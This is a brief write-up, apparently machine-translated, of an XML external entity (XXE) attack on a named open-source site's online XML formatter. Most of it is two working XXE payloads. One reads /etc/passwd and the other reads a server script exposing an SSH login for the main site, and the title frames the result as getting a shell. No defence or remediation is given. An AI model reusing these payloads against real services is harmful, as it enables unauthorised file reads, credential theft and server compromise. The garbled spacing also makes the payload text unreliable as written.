From a XXE vulnerability in open source China to the main site shell

Http://tool.oschina.net/codeformat/xml formatting xml, white pick up a vulnerability, enter the code: <? Xml version = "1.0" encoding = "UTF-8"?> <! DOCTYPE test [<! ELEMENT test ANY> <! ENTITY xxe SYSTEM "file: // etc/passwd">]> <root> <name> & xxe; </name> </root> reads the content of the/etc/passwd file directly. Read/home/run/ssh_go.sh <? Xml version = "1.0" encoding = "UTF-8"?> <! DOCTYPE test [<! ELEMENT test ANY> <! ENTITY xxe SYSTEM "file: // home/run/ssh_go.sh">]> <root> <name> & xxe; </name> </root> the user password used to log on to the main site for ssh.